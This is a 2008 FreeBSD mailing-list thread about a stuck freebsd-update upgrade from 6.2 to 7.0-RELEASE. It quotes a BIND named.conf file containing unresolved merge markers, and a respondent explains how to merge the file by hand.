0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.
0.0.0.0.0.0.IP6.ARPA;
disable-empty-zone
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.
0.0.0.0.0.0.IP6.ARPA;

// In addition to the forwarders clause, you can force your name
// server to never initiate queries of its own, but always ask its
// forwarders only, by enabling the following line:
//
//  forward only;
// If you've got a DNS server around at your upstream provider, enter
// its IP address here, and enable the line below.  This will make you
// benefit from its cache, thus reduce overall DNS traffic in the Internet.
/*
forwarders {
127.0.0.1;
};
*/
/*
 * If there is a firewall between you and nameservers you want
 * to talk to, you might need to uncomment the query-source
 * directive below.  Previous versions of BIND always asked
 * questions using port 53, but BIND versions 8 and later
 * use a pseudo-random unprivileged UDP port by default.
 */
// query-source address * port 53;
};

// If you enable a local name server, don't forget to enter 127.0.0.1
// first in your /etc/resolv.conf so this server will be queried.
// Also, make sure to enable it in /etc/rc.conf.

// The traditional root hints mechanism. Use this, OR the slave zones below.
zone . { type hint; file named.root; };

/*  Slaving the following zones from the root name servers has some
significant advantages:
1. Faster local resolution for your users
2. No spurious traffic will be sent from your network to the roots
3. Greater resilience to any potential root server failure/DDoS

On the other hand, this method requires more monitoring than the
hints file to be sure that an unexpected failure mode has not
incapacitated your server.  Name servers that are serving a lot
of clients will benefit more from this approach than individual
hosts.  Use with caution.

To use this mechanism, uncomment the entries below, and comment
the hint zone above.
*/
/*
zone . {
 current version
type hint;
file /etc/namedb/named.root;
===
type slave;
file slave/root.slave;
masters {
192.5.5.241;// F.ROOT-SERVERS.NET.
};
notify no;
 7.0-RELEASE
};
 current version

zone 0.0.127.IN-ADDR.ARPA {
type master;
file /etc/namedb/localhost.rev;
===
zone arpa {
type slave;
file slave/arpa.slave;
masters {
192.5.5.241;// F.ROOT-SERVERS.NET.
};
notify no;
 7.0-RELEASE
};
 current version

// RFC 3152
zone
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.IP6.ARPA
{
type master;
file /etc/namedb/localhost-v6.rev;
===
zone in-addr.arpa {
type slave;
file slave/in-addr.arpa.slave;
masters {

RE: Upgrade 6.2-Release to 7.0-Release - stuck!

2008-07-23 Thread Marc Coyles
Have left as is (for now). Finish the rest off tomorrow... The box runs WHM
/ cPanel... and just holds a few vhosts under single domain. DNS is handled
by ISP's servers...

If anything in original was modified, it was done by WHM/cPanel, not me...

Am at the freebsd-update install point now... so will have another look at
things in the morning with fresh eyes...

Ta fer the suggestions folks!

Marc A Coyles
ICT Support Team (ext 730)
Mbl: 07850 518106


-Original Message-
From: Kevin Kinsey [mailto:[EMAIL PROTECTED]
Sent: Wednesday, July 23, 2008 4:16 PM
To: [EMAIL PROTECTED]
Cc: freebsd-questions@freebsd.org
Subject: Re: Upgrade 6.2-Release to 7.0-Release - stuck!

Marc Coyles wrote:
 Am running freebsd-update following instructions at

http://www.daemonology.net/blog/2007-11-11-freebsd-major-version-upgrade.htm
l

 It’s decided that it can’t merge named.conf changes automagically and has
 dropped me into vi with the file open… looking as below. What exactly is
it
 wanting me to do? T’isn’t particularly clear, and this is the first time
 I’ve ever attempted an upgrade…

It's [apparently] expecting you to use vi to create a named.conf
that will work, and showing you the contents of both the old
named.conf and the one found in 7.0-RELEASE.  I'm not familiar
with freebsd-update (still using the old csup/buildworld routine)
but it sure look like mergemaster, more or less, except that
mergemaster not only allowed you to leave it until later and
do the merge by hand but also had a two-column diff with
a selector routine, so you could create a merged version
on-the-fly.

Is the box an important DNS server?  What happens if you just
save the file as is and try and come back to it later? (YMMV,
standard disclaimer, and all that).  if you've *never* edited
named.conf before, you'd probably be OK to just remove all the
current version stuff in favor of the 7.0-RELEASE stuff, *but*
generally all my boxen *have* been altered, so that wouldn't
work.

  current version
 include /etc/namedb/rndc.key;

 controls {
 inet 127.0.0.1 allow { localhost; } keys { rndc-key; };
 };

 // $FreeBSD: src/etc/namedb/named.conf,v 1.21.2.1 2005/09/10 08:27:27
dougb
 Exp
 $
 ===
 // $FreeBSD: src/etc/namedb/named.conf,v 1.26.4.1 2008/01/13 20:48:23
dougb
 Exp
 $
 7.0-RELEASE
 //
 // Refer to the named.conf(5) and named(8) man pages, and the
documentation
 // in /usr/share/doc/bind9 for more details.
 //
 // If you are going to set up an authoritative server, make sure you
 // understand the hairy details of how DNS works.  Even with
 // simple mistakes, you can break connectivity for affected parties,
 // or cause huge amounts of useless Internet traffic.

 options {
  current version
 pid-file /var/run/named/pid;
 ===
 // Relative to the chroot directory, if any
 7.0-RELEASE
 directory   /etc/namedb;
 dump-file   /var/dump/named_dump.db;
 statistics-file /var/stats/named.stats;

 // If named is being used only as a local resolver, this is a safe
default.
 // For named to be accessible to the network, comment this option, specify
 // the proper IP address, or delete this option.
 listen-on   { 127.0.0.1; };

 // If you have IPv6 enabled on this system, uncomment this option for
 // use as a local resolver.  To give access to the network, specify
 // an IPv6 address, or the keyword any.
 //  listen-on-v6{ ::1; };

 // These zones are already covered by the empty zones listed below.
 // If you remove the related empty zones below, comment these lines out.
 disable-empty-zone 255.255.255.255.IN-ADDR.ARPA;
 disable-empty-zone
 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.
 0.0.0.0.0.0.IP6.ARPA;
 disable-empty-zone
 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.
 0.0.0.0.0.0.IP6.ARPA;

 // In addition to the forwarders clause, you can force your name
 // server to never initiate queries of its own, but always ask its
 // forwarders only, by enabling the following line:
 //
 //  forward only;
 // If you've got a DNS server around at your upstream provider, enter
 // its IP address here, and enable the line below.  This will make you
 // benefit from its cache, thus reduce overall DNS traffic in the
Internet.
 /*
 forwarders {
 127.0.0.1;
 };
 */
 /*
  * If there is a firewall between you and nameservers you want
  * to talk to, you might need to uncomment the query-source
  * directive below.  Previous versions of BIND always asked
  * questions using port 53, but BIND versions 8 and later
  * use a pseudo-random unprivileged UDP port by default.
  */
 // query-source address * port 53;
 };

 // If you enable a local name server, don't forget to enter 127.0.0.1
 // first in your /etc/resolv.conf so this server will be queried.
 // Also, make sure to enable it in /etc/rc.conf.

 // The traditional root hints mechanism